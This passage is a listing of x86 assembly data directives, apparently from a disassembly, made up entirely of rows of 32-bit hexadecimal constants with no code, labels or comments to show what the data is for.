		dd 711FFEB6h, 0AC448620h, 0B65200C5h, 0CA34E505h, 83008C4Ah
		dd 259CD227h, 0DDBFF390h, 444CCC0h, 0D606730h, 907469A1h
		dd 4C20920Bh, 0B1BC0C01h, 0E49D008Ch, 0A3900B1Ch, 0FE064411h
		dd 7003CA07h, 75C52CD8h, 0FFF78D08h, 45689179h,	62B65487h
		dd 96314120h, 0B65CCF10h, 0B2666003h, 9E9C8Ah, 7B986D19h
		dd 55ABE72Ah, 0D6F7C600h, 62D8E853h, 0A59E0563h, 8C335A85h
		dd 0CE63040h, 0FE23C8FFh, 0D7AA2112h, 0F0243C80h, 0C01750ABh
		dd 0F4E01608h, 0D4042263h, 6A4A8033h, 2C114A7Ch, 8064048h
		dd 25C9C4Ah, 8BCC2C9Ch,	0E2891D38h, 97E50400h, 0A64D16CEh
		dd 0A2030296h, 25F805D7h, 406790A5h, 1F608FD4h,	0C2E0E10Fh
		dd 8C9DB909h, 7E68A0F6h, 177FEE93h, 970CFBBh, 0CC0465E4h
		dd 0A7FC412Dh, 0D08E16C7h, 43CCC9B8h, 0F14EDCE8h, 30532822h
		dd 550BBFEEh, 162112FCh, 0D635002Ch, 0E696A5BFh, 7B09F997h
		dd 8124C604h, 0D083C3C0h, 0F5A189B1h, 1B92D8FBh, 4CE520C5h
		dd 819EAC9Fh, 1BA128F1h, 0C4E6C677h, 6047220h, 7A07C6Ch
		dd 2008F02Fh, 287B93AAh, 0BA030B2Dh, 581095CEh,	0DC306C8Fh
		dd 0BB45497Ch, 18C4FC1Bh, 58CDABFEh, 6D80118Ah,	67BF1088h
		dd 0F7221C1Dh, 0B8E42C5h, 0F04FA480h, 0E3400E49h, 76278962h
		dd 0F66E07C0h, 664D6951h, 0C73B878h, 9C9BC2DBh,	6A3E74B1h
		dd 0E854803Ch, 2E56FACBh, 8DB40913h, 60202F92h,	54460DBAh
		dd 9431E7h, 829E06E7h, 0A8AC096h, 649DFCEEh, 5900855Ch
		dd 0F2BD8DE5h, 92A6EAB3h, 30A55804h, 78BFB208h,	414E309h
		dd 696050D8h, 1F12FFB6h, 48CA2079h, 0B651C400h,	82A9770Ah
		dd 2B431309h, 6A0802AEh, 20445201h, 0F9F0BFEFh,	9BE060F3h
		dd 0B366E80h, 56A705F4h, 1511181Dh, 4213409Ch, 0AF055867h
		dd 7891767Ch, 0ED1841F1h, 6AF2FB00h, 67CEF637h,	3013F0E6h
		dd 25C80772h, 8B404FB8h, 0CE4909FAh, 0E09D78DCh, 62809711h
		dd 0B9EEA83Bh, 0D6F3E402h, 49CE2BFBh, 843CE544h, 6D0C16h
		dd 0AF31AB48h, 0CD4B381Ah, 0D200406Eh, 63DB9FEAh, 9B2C9DF2h
		dd 69E809h, 0B86DEE50h,	0AEF0087h, 0FA635CD7h, 2117907Eh
		dd 78442FA8h, 0F4C9B28Eh, 30D6EC42h, 0CC9049FEh, 0B032E14Eh
		dd 6422018h, 0CB3A584Ah, 6A7F80E0h, 23D00103h, 208F4F6Dh
		dd 779E0A08h, 1AF4BD13h, 4C88548Bh, 84143CC0h, 1DEA00F7h
		dd 13E07D65h, 0FD000C4Eh, 5448D888h, 51300A6Eh,	5472B0F7h
		dd 503010F2h, 0F9BB0063h, 8CB31BDEh, 47490D02h,	2568900h
		dd 0CC512088h, 0C99B4470h, 8CB65E01h, 6573B223h, 8C5CF8A9h
		dd 0E329A39Ch, 0FB008DE2h, 0E9BCC6D2h, 308B142Bh, 0A21A29Bh
		dd 0FFF29E6Ch, 8A390400h, 5C557BE2h, 236A244Ch,	0A3C180BCh
		dd 0A0BA0166h, 0A63E602h, 61DB0817h, 3C20E56Ch,	62343261h
		dd 30472731h, 0C2604664h, 62EE2F99h, 0DF54E40Fh, 303AD7BEh
		dd 0B8009723h, 0EC1FFDA8h, 5D43BC1h, 8194F22Ch,	8778CBE5h
		dd 2E986251h, 0DCD066h,	0E55E1B93h, 0E4635554h,	0AFEB7C09h
		dd 3638E89Bh, 0EE2F02E6h, 0B6332792h, 1498DCD8h, 98F7DE13h
		dd 0A49B6844h, 7CDC9116h, 4BF90088h, 0E424E1FAh, 47654007h
		dd 0B4FB600h, 0F4C76C0Dh, 0FAAD0041h, 0BF768CCDh, 161386F6h
		dd 0EC09D623h, 668000E5h, 2A0A0149h, 30803CF9h,	0B7C91F80h
		dd 7D3EBA5Fh, 4EB180A8h, 0D7ED0205h, 8BF7004Dh,	5DAE8AF8h
		dd 98B23615h, 465E0894h, 25080016h, 0D544EAA0h,	11C906Bh
		dd 0F1C26DE4h, 0FA0FB81Fh, 4A5A8080h, 589AFCE6h, 0F446A800h
		dd 8EB0CDD1h, 29382F6Ah, 56D7803h, 488561F6h, 0D36011C4h
		dd 911689E6h, 0B83F5081h, 80001323h, 2166FCD6h,	0BC49FC82h
		dd 0E44DB800h, 9800F3B8h, 2392FA2Eh, 0C37CDBCAh, 0C48F7450h
		dd 2280D0E3h, 8C0689C0h, 52F79A21h, 5EC27520h, 907C00B3h
		dd 0C046EE40h, 450BB114h, 2E304848h, 5B40807Ch,	8005B24Ch
		dd 0A05B746Bh, 215FDC49h, 3E819E88h, 517C3824h,	0DC24DAC0h
		dd 0C8B38C82h, 4852958h, 0DC6D0245h, 80C94972h,	8DDBC68h
		dd 3C350082h, 0CF95833Ah, 7B0F9250h, 2F861F88h,	140B522Ch
		dd 0B9201404h, 60EC5BB4h, 295AD29h, 519612BBh, 0CCD0F24Ch
		dd 0A3930B09h, 5C08C99Eh, 0BF08D718h, 0C4CAFC4Ch, 0DF244041h
		dd 2C2529BFh, 1FEEE3Eh,	6DBEA3B0h, 242D04h, 0FD1CD58Dh
		dd 2DFA13E4h, 0B0000633h, 63A7899Ch, 0B401245Fh, 6AE0DA8Dh
		dd 8C326470h, 0F0A24F05h, 70A25085h, 0A2474EC0h, 5202E3A3h
		dd 0FBB309E7h, 0B29E187Ah, 3D016E7Eh, 9962C20Ch, 0C1876DDFh
		dd 91517Fh, 890EDA8Ch, 0C32A8A01h, 92CF90A4h, 4D2BDC30h
		dd 8D0148F6h, 0C94549CDh, 0A18892Ah, 0A2688FF4h, 1C03F93h
		dd 6C6775FAh, 8C15B80Ch, 4F010AF6h, 7FEC7E6Eh, 0A86C97A8h
		dd 291E8018h, 0A4E8CFFEh, 0F237DC00h, 0E120E0D8h, 6182004Ch
		dd 0BA7DDBE2h, 330246D9h, 8221751h, 73F4F95Eh, 3D9E60ECh
		dd 271814E5h, 6A12D809h, 0F81CD008h, 8F82382Bh,	0A129198h
		dd 229890F0h, 5B4B2BB2h, 3FC2802h, 0A00F8CAh, 0C1248025h
		dd 0D89E0194h, 0E81CEBBCh, 5D13ED58h, 8C18068Fh, 28347C21h
		dd 0B0F6FEh, 235EB21Bh,	8F78E9CEh, 0AB4720BEh, 0A07C0388h
		dd 98042743h, 71979220h, 4F53F8F4h, 23143B16h, 783700B0h
		dd 0FAA069C7h, 5BBB970Ch, 7F5A0B3h, 540A5EDEh, 8E4527F1h
		dd 88FC8B12h, 0D9D2C095h, 1C916288h, 0CC3B1A16h, 18002923h
		dd 0D97B9DFAh, 0FE7901DEh, 0F81C0E99h, 60805733h, 6797EC82h
		dd 0F0BC2098h, 3D10465Ch, 0F6E92F6h, 0BB87EC20h, 0E2D8A817h
		dd 0CB024A4Eh, 0C018C82Ch, 52C7B6Eh, 0E8D93201h, 35063D53h
		dd 5213330h, 92244E9Fh
		dd 7CE0013Bh, 6C1F97F0h, 0A838D020h, 86008C0Dh,	3F2F97C5h
		dd 4A27C7FAh, 0C8E08E2Eh, 198C094h, 9102B21Ch, 0BF75AA1Dh
		dd 64D06765h, 0A92E6019h, 6F0E07E5h, 402FEDF9h,	0C8CA60Ah
		dd 0E82FD14Ah, 2B004D23h, 0B6CCC562h, 45E29F04h, 5E54D868h
		dd 813A0525h, 627D1B98h, 2216398Eh, 86F7DF63h, 889C1018h
		dd 78DECF1h, 0E46562EBh, 0E5752003h, 0C37C4481h, 10BC9695h
		dd 26F46F05h, 465EE866h, 16007315h, 0E55B4906h,	9757BF89h
		dd 0CA22C800h, 14BA3DFFh, 0D888212h, 0B1B204B3h, 26C42230h
		dd 22C9812h, 47A87E62h,	347ABC6Ah, 470D3225h, 60AC6494h
		dd 678D22h, 60ED962h, 8618B5B0h, 249A937Eh, 434BE204h
		dd 90AD95E1h, 2310D8D0h, 1BDC1656h, 7A521497h, 2324D217h
		dd 0CD256B37h, 7968C07Ch, 0DF4A85F8h, 0A4E20CD5h, 0BE3040F2h
		dd 1F827D5Dh, 5C5496BBh, 49455EB8h, 0EC799942h,	0A07E0C02h
		dd 134C6407h, 4248C7AAh, 3947C8E4h, 0A7C9A200h,	6874814Fh
		dd 18CB9224h, 0EFC0ACC8h, 42CF5Fh, 0F3FD3B44h, 891C1D34h
		dd 0C4C17A6Bh, 9FD304D0h, 0C1D91175h, 0AC47F8h,	30E82317h
		dd 5316FDFh, 88001D92h,	1813443Ch, 16EDCB52h, 917509FBh
		dd 8F4786Ch, 58048C07h,	6885EBA2h, 4107808Eh, 0B0C8A250h
		dd 94663093h, 2EE85458h, 0F3080CFEh, 13E8160Eh,	0C89C138Ch
		dd 6D00F06Ch, 9D84F64Eh, 3B63F36h, 67CBDEDFh, 85C25D6Ch
		dd 4A795071h, 0C2009318h, 0A1C343A5h, 1389F7EDh, 424E8165h
		dd 0FF9B8570h, 0D50748D0h, 37B0078Eh, 489710CCh, 6D1CACF8h
		dd 9A5ED264h, 92C0C05Ch, 4D32FF63h, 524F5088h, 0C0CC9A78h
		dd 0D82DF6Dh, 0DA481211h, 0C014A4AAh, 382BB122h, 284CA27Eh
		dd 18C97BCh, 9E9CD034h,	0C2E547B3h, 0DC3474h, 0C8F6D090h
		dd 9D81910Eh, 6BF07F08h, 3C0B273Eh, 0A4C0486Dh,	583892CFh
		dd 46E828CDh, 0DE15008Ch, 0A7F43E96h, 90C014BBh, 33455DDFh
		dd 886D5CEFh, 808CB978h, 85ED0D4Fh, 0A0995918h,	9C18B3D1h
		dd 5D00C570h, 0DA403BBFh, 76B1A02Bh, 5ED4A2FFh,	0BC4DEBC0h
		dd 2C34F740h, 22C30189h, 0F6DC080h, 1B182419h, 0BC9B76F8h
		dd 6C98FC09h, 4BFA3E98h, 0BC24C14Bh, 0A29C33F4h, 0B3B304Ah
		dd 4F16B104h, 9980F994h, 0BC01B49Fh, 73442B28h,	0A22FB1EFh
		dd 1B82F868h, 0E1040297h, 792CD113h, 8918ACh, 0B251B42Dh
		dd 569F6C12h, 0BB62DD05h, 0CB4B0B1h, 0EC788A36h, 0A41D812Ah
		dd 80FC3C3Eh, 0AD03E8FAh, 128BDD4h, 23CD6E49h, 79B6E4F5h
		dd 9E6301BCh, 0A189C6B0h, 2DFCA024h, 0B000862Bh, 0A9839825h
		dd 762DC89Ah, 3C9800EFh, 0FE575A21h, 9675AB3h, 0F8450D2Ch
		dd 0B860B1E4h, 0D702F3D2h, 0DCEE858Eh, 0AD4A075h, 525F010h
		dd 5B520D0h, 6724B4EFh,	28808894h, 2C3FB12Bh, 0ECFF004Ch
		dd 76DCD37h, 0B8B4F7BAh, 144676h, 0C46699C8h, 17BB6390h
		dd 94B5A1C2h, 0FB980070h, 8EA481EDh, 0FA475C08h, 5A6A4233h
		dd 0FD365040h, 372E5C90h, 6210CCCCh, 0A060F6D2h, 54DD6357h
		dd 1C78C70h, 0B0469F56h, 0E0074A31h, 4B059D18h,	0CF98E4FEh
		dd 498848CEh, 4D16BCC0h, 67272DE3h, 546DE424h, 8C96E8F4h
		dd 34AC2F05h, 989460C9h, 0DECA0EDh, 45423400h, 13A29A94h
		dd 5E0CB468h, 18020F46h, 9445E91h, 1BD99FC0h, 0EF1CBA79h
		dd 0A356B397h, 0B02010D0h, 0E95CFh, 5848BBCBh, 0A885382h
		dd 2F4891F1h, 0A87E6498h, 84050727h, 3A566624h,	162348h
		dd 7991E4A4h, 0E527A9CAh, 9058689Bh, 14E8F933h,	63A305C6h
		dd 827E6CE4h, 0DC5C1973h, 475C388h, 0F24EFA54h,	3012F290h
		dd 6E091D9Bh, 0D0224BFCh, 74620494h, 0C0A84EB6h, 51D52118h
		dd 999D9C30h, 0FEE9040h, 0C6BAABF1h, 0B00FA060h, 0C2E4156Bh
		dd 54D0F74Ah, 6FBCBEEh,	0EFB39DECh, 0D8B3A0F9h,	887170h
		dd 93D26022h, 94D0AF04h, 172CF40Fh, 0B71E1D7Eh,	0F0CBA600h
		dd 8CEC49h, 770651EDh, 0C424E91Dh, 0BD14C600h, 0D316182Dh
		dd 0E1CE0031h, 9A74AD05h, 64FC1001h, 0A348FC61h, 509D6879h
		dd 0D66CC6F4h, 1F00200Bh, 78BF55AAh, 0A03D2BFAh, 18F4FE1Ch
		dd 90989F7Fh, 4F00B4B7h, 511E12EFh, 6615BB50h, 21B00839h
		dd 0EF47D700h, 5CEDEB67h, 0A3A1036Eh, 0A9C81569h, 6121D29Bh
		dd 0DCF4066Dh, 753E9136h, 0C5DB8070h, 38ADBA72h, 76A42AA0h
		dd 8BF40C80h, 0F8699D9Fh, 0DB8CC900h, 0FAD70E3Ch, 16BF5C47h
		dd 0ED8A9406h, 57B068C7h, 15CE5B01h, 7EF4FF48h,	84E6448h
		dd 491E11EFh, 0D640ACC4h, 7CF0EF46h, 0FB3D410Ah, 948EA07Dh
		dd 0CEB1EA0Ch, 58B23E1Dh, 0EF523082h, 691E1511h, 0DA80A888h
		dd 1DFFEF4Ah, 0E4093092h, 436B8CA8h, 0ECB17E00h, 3831D8A9h
		dd 3CF07Ch, 1D7FE4BFh, 3283A419h, 7410DCA4h, 487EFC5Ah
		dd 4867ACB2h, 0DCEBD196h, 4C29802Fh, 0B5545816h, 0F8B90733h
		dd 46B8FBADh, 73002147h, 2996580Eh, 8DE253h, 8010997Ch
		dd 4695221Ch, 44BB1424h, 0B7EED780h, 0CE94086h,	0D9383018h
		dd 21C0D308h, 0E0B7E6F9h, 733001Eh, 3F9D6C25h, 523A423Bh
		dd 9A9B0356h, 0C51546h,	0C985FE31h, 0C74ECFA3h,	0A8537F00h
		dd 0BE2ACC7Dh, 0DC0931A9h, 0F41D8BD0h, 211460A6h, 80484A95h
		dd 408AB7F2h, 22194309h, 0EAFD00CDh, 7D4FAFB7h,	9028C97Eh
		dd 0A00FACB3h, 0D42BEC47h, 18123DCh, 1E14EF51h,	88A91861h
		dd 0EF0049D9h, 0B55513D2h, 911CAE4Ch, 0D69D089Ch, 9CA08D06h
		dd 0F0C97431h, 6AFF020Eh, 465642DBh, 19AB843h, 13B3F200h
		dd 2E030C63h, 0B7B9BC17h, 35EF1F03h, 0ADE74h, 8A46E728h
		dd 17A2216h, 0B568D160h, 0D608C644h, 15620E20h,	91F8419Bh
		dd 3B005B09h, 0D3253953h, 0AB55602h, 31DDB8BBh,	421180FCh
		dd 180C37F5h, 9AEFB02h,	40568EB5h, 44DDEA20h, 0A00B6235h
		dd 87F099DFh, 16A531BCh, 0E7289C19h, 12023426h,	13B55058h
		dd 6F104031h, 56C0580Ah, 0E1B220A9h, 0B9C8C0C4h, 13E4983Ch
		dd 7D46349Ah, 10EF4D02h, 0B131411Eh, 2045D511h,	0CF0F35E0h
		dd 80713E0Ah, 78265FF8h, 0FEBC24ECh, 0AF465ECCh, 734EE307h
		dd 0E096B708h, 0C95407AAh, 122E8001h, 7CDB307Eh, 27000432h
		dd 6F9DE5CFh, 0BC985D58h, 0EABF3204h, 7C818A36h, 5E013D5Ah
		dd 4460202Ch, 0B7EC048Ch, 8ED94084h, 0E4F700A8h, 542E26B7h
		dd 6A50E43h, 4898103Ch,	0FD33DDh, 0F387E98h, 7DF308D7h
		dd 0B658C102h, 4A427440h, 804EFE30h, 3E36C981h,	0A448DC33h
		dd 8CD4E8h, 1AFFDCC9h, 8EE1B999h, 1E2E4E02h, 68D745AAh
		dd 1FB8BE8h, 940736B3h,	82CB597Ah, 1E6C3718h, 7D54401Ah
		dd 0B834642Dh, 89E8C8DCh, 38385Ch, 4B9A9F1Ch, 58884292h
		dd 7AF05C53h, 8482B8E3h, 1160E640h, 0B5234F58h,	0E42110Bh
		dd 158096Eh, 0E8204B54h, 4092A030h, 19EA1FFDh, 0E923C742h
		dd 52581401h, 481823B5h, 0C7188h, 93A2CE58h, 0E3A33CA4h
		dd 218D3600h, 0ADF0201Eh, 0F595359Ah, 7C4808C0h, 0FEF4CC0h
		dd 2239461Eh, 44D400ABh, 9CBD66EFh, 5301C6A9h, 0A49237EBh
		dd 84512079h, 0D450C414h, 3A0C6113h, 0CD00C833h, 1BD306C6h
		dd 0A4000DBFh, 0F31624B3h, 484AE977h, 0A8400483h, 848F7478h
		dd 3F60E8ADh, 0C0A29F8Ch, 82AE43B1h, 0C9006037h, 655005BDh
		dd 2E8CC7CCh, 418DBAAh,	0C8BB157Ah, 8CAB3694h, 94C875BBh
		dd 143054E8h, 1082D1C2h, 797100ABh, 932E777Fh, 0B7775AF0h
		dd 0AD54EE00h, 0D6B4A098h
		dd 13FA7AD9h, 10F618F2h, 9045700Eh, 64CBBC44h, 5FC7D1C8h
		dd 737DD550h, 0EDE30C7Fh, 0DC21CB14h, 4353200h,	0BBE86E8Fh
		dd 4A0A034Dh, 0C41710B2h, 0AEB87B9Bh, 0EED46C2Fh, 0DDF30430h
		dd 5C8FB757h, 90C04088h, 4C283CF3h, 896894E3h, 0A912849Ch
		dd 0A4F083B8h, 1729D88Ah, 80CD1134h, 806090ABh,	0BB382EE1h
		dd 0F3B88640h, 5B76882Ah, 0E874925Ch, 0D01C8CABh, 1DCFAA9Ch
		dd 7FD5C016h, 1330B88Bh, 464618C6h, 0F1B20304h,	2A26B6F0h
		dd 0DD8C9C2Eh, 0FF193Fh, 0F0D98770h, 0E261E729h, 289EE07h
		dd 0E9A003D6h, 5634075h, 0E8769245h, 80789405h,	0F87D07BCh
		dd 841469C1h, 70E4ED7Ah, 759833DBh, 21000B09h, 0D67A7C34h
		dd 134CD9C4h, 465991BEh, 0F92F1570h, 0C274AC90h, 3024A481h
		dd 0F3058C4Bh, 11408BB7h, 0FE004CCEh, 5E15B7EBh, 9C50DB86h
		dd 1800D38Ch, 0B5667925h, 90F8363Ch, 0AAA3171Ch, 47C40804h
		dd 87B7EFC0h, 0E8F15340h, 0B7E7FA80h, 0A8B88249h, 0B250B173h
		dd 0E10375E8h, 4F0A7105h, 90F140FBh, 8B2C8C0Eh,	0A815C37Ah
		dd 800C8890h, 117A833Bh, 8F0AEA5h, 74EF802Ch, 1639A038h
		dd 3ABC14B5h, 0AF23E4h,	0B24BC233h, 750E7202h, 0CC29E074h
		dd 18275854h, 0C8A79CE9h, 0D7488C1Dh, 8C43E8A4h, 0BC7E8F00h
		dd 0E3247FB2h, 105F486Ch, 258C08BCh, 0C420DCCAh, 6B364D4Fh
		dd 1E3E2002h, 1E1C182h,	2186428Bh, 7E8DD048h, 97DB4825h
		dd 80AF91A4h, 75F204ABh, 0D6080138h, 6A51DA3Eh,	0F38C4052h
		dd 0A141BCE1h, 0DBE09076h, 0DE7F46F2h, 9600D1DDh, 0A4791BDDh
		dd 0FBD20E1Dh, 2B81F6A0h, 2005564Dh, 0B37EFA4Ch, 0F545AB12h
		dd 46C838CBh, 95612DC0h, 0D1C00924h, 84248D72h,	9BE8C053h
		dd 4C915F06h, 79180E79h, 57F28700h, 4065452Bh, 4E722022h
		dd 0C68D3003h, 2D8A17h,	86AD5A30h, 6D3B4219h, 87091E3h
		dd 0EE7A8583h, 0A3178CAh, 7AE83513h, 1D2E7CA6h,	5310B443h
		dd 410CAE24h, 2193763Bh, 7CF05090h, 0DD4C5696h,	0FB1F117Ch
		dd 0A0E17F04h, 0B6C9DAEh, 0C24888A8h, 5BE0C761h, 1C02A214h
		dd 8F57A074h, 0E43845FFh, 577260AEh, 7FE10445h,	0C184C141h
		dd 38A678h, 30C7041Fh, 3C1E61Ch, 4E4AB5EBh, 0E244884Eh
		dd 58263254h, 0ED773E70h, 21607D38h, 8F3F407Bh,	2468AF00h
		dd 8C964985h, 3BCD0BD0h, 949A5B3Dh, 0AC59CC51h,	7905AF18h
		dd 8DBAFE3Fh, 0E3905882h, 7C4F238h, 399F022h, 956123B0h
		dd 2A31C038h, 2C601025h, 8A940CB2h, 3B30C865h, 0A029396Fh
		dd 24E127EFh, 0E2D4A09Eh, 0B17E0C57h, 0F410B5A4h, 5023C84Ah
		dd 0EA22A469h, 13581530h, 8B2BB553h, 0D7200C4h,	23153E58h
		dd 0E0A2735Fh, 44DD4FE4h, 90C114D4h, 100B35DCh,	0C5DF4A00h
		dd 205E7191h, 3C314DAAh, 55428A09h, 600C6804h, 0F2F27A89h
		dd 11448C98h, 7A810139h, 7D6E8BAFh, 563C8E5h, 0FC27563Fh
		dd 17CD2025h, 8744918Ch, 4B7E7A90h, 666082DAh, 310C4009h
		dd 0F5EA28E4h, 28346F4h, 1E16EF53h, 10AA3171h, 1EF4BDBh
		dd 5D300CA4h, 890F923Ch, 4AB51F50h, 0BE73D760h,	0A2671DC4h
		dd 0B8C07551h, 8B0019C8h, 0BD817256h, 0E6E40D05h, 2E0761D0h
		dd 0AD38850Fh, 0E8355D3Bh, 0C02A3E80h, 30950153h, 5F5E1849h
		dd 36A085FFh, 0A9EE2960h, 660E2460h, 149D51BBh,	12B5FF61h
		dd 7B6BEB5Bh, 4012191Fh, 0C09D47E7h, 951AFF0Bh,	0DD5210C1h
		dd 1B717CD9h, 0CF000A18h, 0D6A7A45Ch, 160FDA05h, 0FB90F9BFh
		dd 0EBC2DADAh, 4C62F53Ah, 899A4380h, 276BD98Dh,	0CC6D77A0h
		dd 0D210C467h, 54398589h, 60E8AF08h, 8F78250Ah,	4005145h
		dd 0F3E692C4h, 0DC800F12h, 0BD89031Fh, 38012BA9h, 0EB9665Bh
		dd 0EC6B6139h, 8C1AB8E0h, 98FEC01h, 3717FC8Ah, 3EDDED6Eh
		dd 9FCE8031h, 0B82BFE65h, 40DE000Ch, 8B0F0D18h,	1C6C29BDh
		dd 415D0C82h, 883E4E04h, 0C6F4C018h, 0DB06EB22h, 231DBD0Bh
		dd 9589284Ch, 0EB74B773h, 60340CD6h, 0B506F98Bh, 4C2C3935h
		dd 9530F4ABh, 692139h, 0EB5E57F5h, 7E96D97h, 8A0F615Fh
		dd 0E6750B26h, 0FEF31CC5h, 0AA1241A9h, 40E95A5Bh, 1FF9FF38h
		dd 0C513F8FCh, 2100D1C6h, 3E41353Dh, 6DBC0021h,	89E52270h
		dd 1760059Dh, 0C8E96188h, 0BFF71F7h, 8531C18Bh,	14F2447Dh
		dd 0FA04EBF8h, 0B32595DFh, 6BCF8101h, 0EC237224h, 1949D585h
		dd 0BA660022h, 61FC677Fh, 3BBE0390h, 50649556h,	2721F8B0h
		dd 2090047Ch, 56BAA55Bh, 779AFAD9h, 606B2FC0h, 0B7300F1Ah
		dd 8D2944F3h, 58216C89h, 0F92DB998h, 6B77FE7h, 288BEB03h
		dd 0C710A514h, 0F38D401Eh, 5C08301h, 2581BD01h,	1A907098h
		dd 0BEE850F0h, 0C89D943Ch, 8C19E8CEh, 0E0493A01h, 53DFEEDBh
		dd 38D4B640h, 5E5C055Fh, 35418D09h, 8AB4BE9Dh, 18930087h
		dd 342259E6h, 0C5C7728h, 7B600666h, 539EBF35h, 0F2001AF9h
		dd 0B30BA3BEh, 6C3CCAC8h, 780A81EFh, 0A72B5B7Ah, 5BA18430h
		dd 0B3ABE21h, 7001823h,	7AF155FEh, 0CE810C66h, 0F70A1648h
		dd 8D833702h, 8D9E7F9Dh, 3341A1D2h, 0FF0126E9h,	70AC6BD3h
		dd 2D060493h, 88F48F14h, 0E9E4C019h, 0FD3A85F8h, 8A79A97h
		dd 6DF3D71Ch, 93F9C30Dh, 0E992D7DCh, 86C27963h,	51D70167h
		dd 1818D1A2h, 0FAE300B8h, 0AEBE0243h, 4F1C4BC9h, 9D85F78Bh
		dd 689E1A3Dh, 0D7EA65C7h, 9A10CE3h, 1DC18518h, 0B0DB0B52h
		dd 807745D7h, 1238DFDEh, 6E4DBD83h, 0EA16FCF8h,	0D8037789h
		dd 268DF050h, 179A6BE9h, 6A48ED7Fh, 2FBA816Ch, 32E8D9CAh
		dd 25390061h, 7F08288Fh, 94CC0E8Bh, 6D005109h, 3599186Ch
		dd 76E70500h, 7749BF66h, 85C7285Eh, 0E9DC58h, 53C6D9BEh
		dd 4669E949h, 550B0215h, 4B1A0809h, 0C481475Dh,	0F620601Ah
		dd 0B0703B2Bh, 0A075F9ADh, 11E8C47Dh, 226800C8h, 3A3B77EDh
		dd 3C0A4225h, 0EE8DC755h, 3E1446D6h, 0FF230EE6h, 0DFED5CFEh
		dd 0CB808835h, 0C9D9AD8Ch, 903F1696h, 71500470h, 0EB660F03h
		dd 5BED77DBh, 0C7C35764h, 0D26F8FF6h, 99602209h, 2930F09Ch
		dd 80115339h, 213016E2h, 47525C66h, 0F5260122h,	89C11450h
		dd 0B96B2404h, 7E15AC98h, 0C8AC0479h, 8049B13Dh, 773CCF8Fh
		dd 872BE92Ch, 8A35FFADh, 8AB67681h, 2BC0B093h, 0FD528B5h
		dd 70E62C83h, 71A6BBB7h, 0D304DE25h, 0CA9BE4E7h, 1A39A0C1h
		dd 74F80F02h, 0DC159D2Ch, 9206BA8Ah, 0E4C5B542h, 0F5C300A0h
		dd 0FC04E8C1h, 0E25BF766h, 0B1D6BEEh, 0D5D82BC8h, 0E06EBC4Dh
		dd 0E2AA83CAh, 93F9281Dh, 50FE018Ah, 4AB72FBFh,	0F5E0EA31h
		dd 0EE821765h, 0EDD4B5FBh, 7ECA177Eh, 6909FA6Ch, 80FA46C1h
		dd 2AECDEFBh, 7096B08Ch, 0A7D7A42Dh, 601C4400h,	2E3E682h
		dd 396AD008h, 0F889954Ah, 9B89F037h, 0FE848099h, 9613C58h
		dd 2DC830Fh, 56FAB411h,	0C714C8FEh, 0D6FD0B84h,	0CFC2DAEAh
		dd 0F2DA1A8h, 0B96B1773h, 88980B04h, 102E811Eh,	2330ED0Eh
		dd 463141B9h, 0A920102Bh, 0C730AA07h, 62144489h, 0EA3AA0D6h
		dd 905E379h, 98529F45h,	0D097582Bh, 45811B91h, 0DC4A42B3h
		dd 0E548B4D4h, 0A2C1535Fh, 8B9A3016h, 58FCD916h, 0C0629AEEh
		dd 115C13Bh, 9D090875h,	90301C4Dh, 0BAEE880Fh, 0E13DAD34h
		dd 0FEC07830h, 87615EE0h, 5CBE3900h, 0B9116BE3h, 845EB707h
		dd 0CA5348F4h, 432A4B75h, 0F79CB900h, 7DEF81E0h, 29E80D01h
		dd 0C183615Ah, 440047C2h, 56956017h, 3BC91714h,	66BC08D9h
		dd 26057CB1h, 1E605B62h
		dd 0C1F6FFB7h, 21643FB2h, 7AA4E82Bh, 31ED008Ch,	743E4A28h
		dd 6D012E3Fh, 0E152FE7Ah, 89D1F343h, 380FD290h,	0A45AD85Eh
		dd 0D2C0359Ah, 8C2B02ABh, 605B0D01h, 30D59589h,	61FC5285h
		dd 0A0C327E9h, 0E86448D6h, 5B8EB113h, 0DB82EF9Bh, 0F4510CF6h
		dd 0DF4D300h, 0CE8AB3h,	68400E4Dh, 0F30216Ah, 2BE45C09h
		dd 11001DC3h, 6CC801Dh,	0C0F3FCh, 9F146CE9h, 4DB50B6Bh
		dd 3D120992h, 98920834h, 0BF53F55Ah, 0DEE28D0h,	66E9D18Eh
		dd 0F7B96F19h, 0F300D9ACh, 5575968Fh, 14825986h, 6C0CE9CFh
		dd 0B9928900h, 90C5CA93h, 8B36C60Eh, 0FFC04A95h, 204A01DEh
		dd 0C465ED18h, 63F64C5Dh, 649DB602h, 6A4C9AEFh,	649F6798h
		dd 997D6017h, 0E80B18E0h, 0D1931913h, 0A73C9404h, 61801EBEh
		dd 2D45E3h, 78AFE186h, 89FA93A9h, 0A94D852Ch, 5D2A5E99h
		dd 0F8C709C8h, 0E8292EDh, 131B7B37h, 16FBBFE5h,	5816F84h
		dd 0F669FCA4h, 1090B81h, 0B9BD3107h, 1E0CAD32h,	4134452Ch
		dd 3D118DF7h, 1B7910FAh, 0BA12355Ah, 96B100A6h,	0FDDF01C9h
		dd 5928DBD2h, 2CE181Ah,	5B2BCFAFh, 2861E09Ah, 5AB3682Dh
		dd 0E79A2D74h, 6978EFC0h, 1F05B27Ah, 9023E2E8h,	0B063F6BFh
		dd 392B7CDFh, 0BD980E76h, 0BE66A36Dh, 2AB5F629h, 5F181B71h
		dd 0D6063BE6h, 868F6331h, 0F1ED68FCh, 280D0DDAh, 0E774760Ch
		dd 45C03F30h, 2D5C906Ch, 0D42213C1h, 111F0409h,	3143801Dh
		dd 46309A6h, 0AB9EBE27h, 0AD53812Eh, 0BD638503h, 0B8B31A35h
		dd 0E6301AB2h, 0A1BC0535h, 85F7199Ch, 6E7AFEAh,	2957760Eh
		dd 0E4F96242h, 81F1E4E0h, 20C7D707h, 7DEB1A1Ch,	7460196Ah
		dd 0A296F9F7h, 0BFCA71DCh, 0FF9ED1D8h, 9DE5A2Ch, 65C12B2Dh
		dd 0F5B57101h, 0D48B0320h, 0AAE1A9E6h, 0E7BDF03Fh, 0C00F3E28h
		dd 0EF23F531h, 476CFEBFh, 0F5DAAAD7h, 0C1774BDCh, 27895002h
		dd 4B81FC04h, 0BDDF1FA9h, 0FF5A66B3h, 0A200B66Bh, 0C5BCB975h
		dd 83093D92h, 0C250FB87h, 865A3549h, 0A7573356h, 2FF45CB7h
		dd 0F087B237h, 60EE7BE7h, 6B0B3CFh, 0DEE49E6Ah,	54B0DE01h
		dd 0F9E3CDAAh, 9149438h, 9005A2E1h, 6B05E804h, 0DC350B53h
		dd 53B16274h, 82DC7318h, 2FC1F890h, 50E85179h, 0C5A9E68Bh
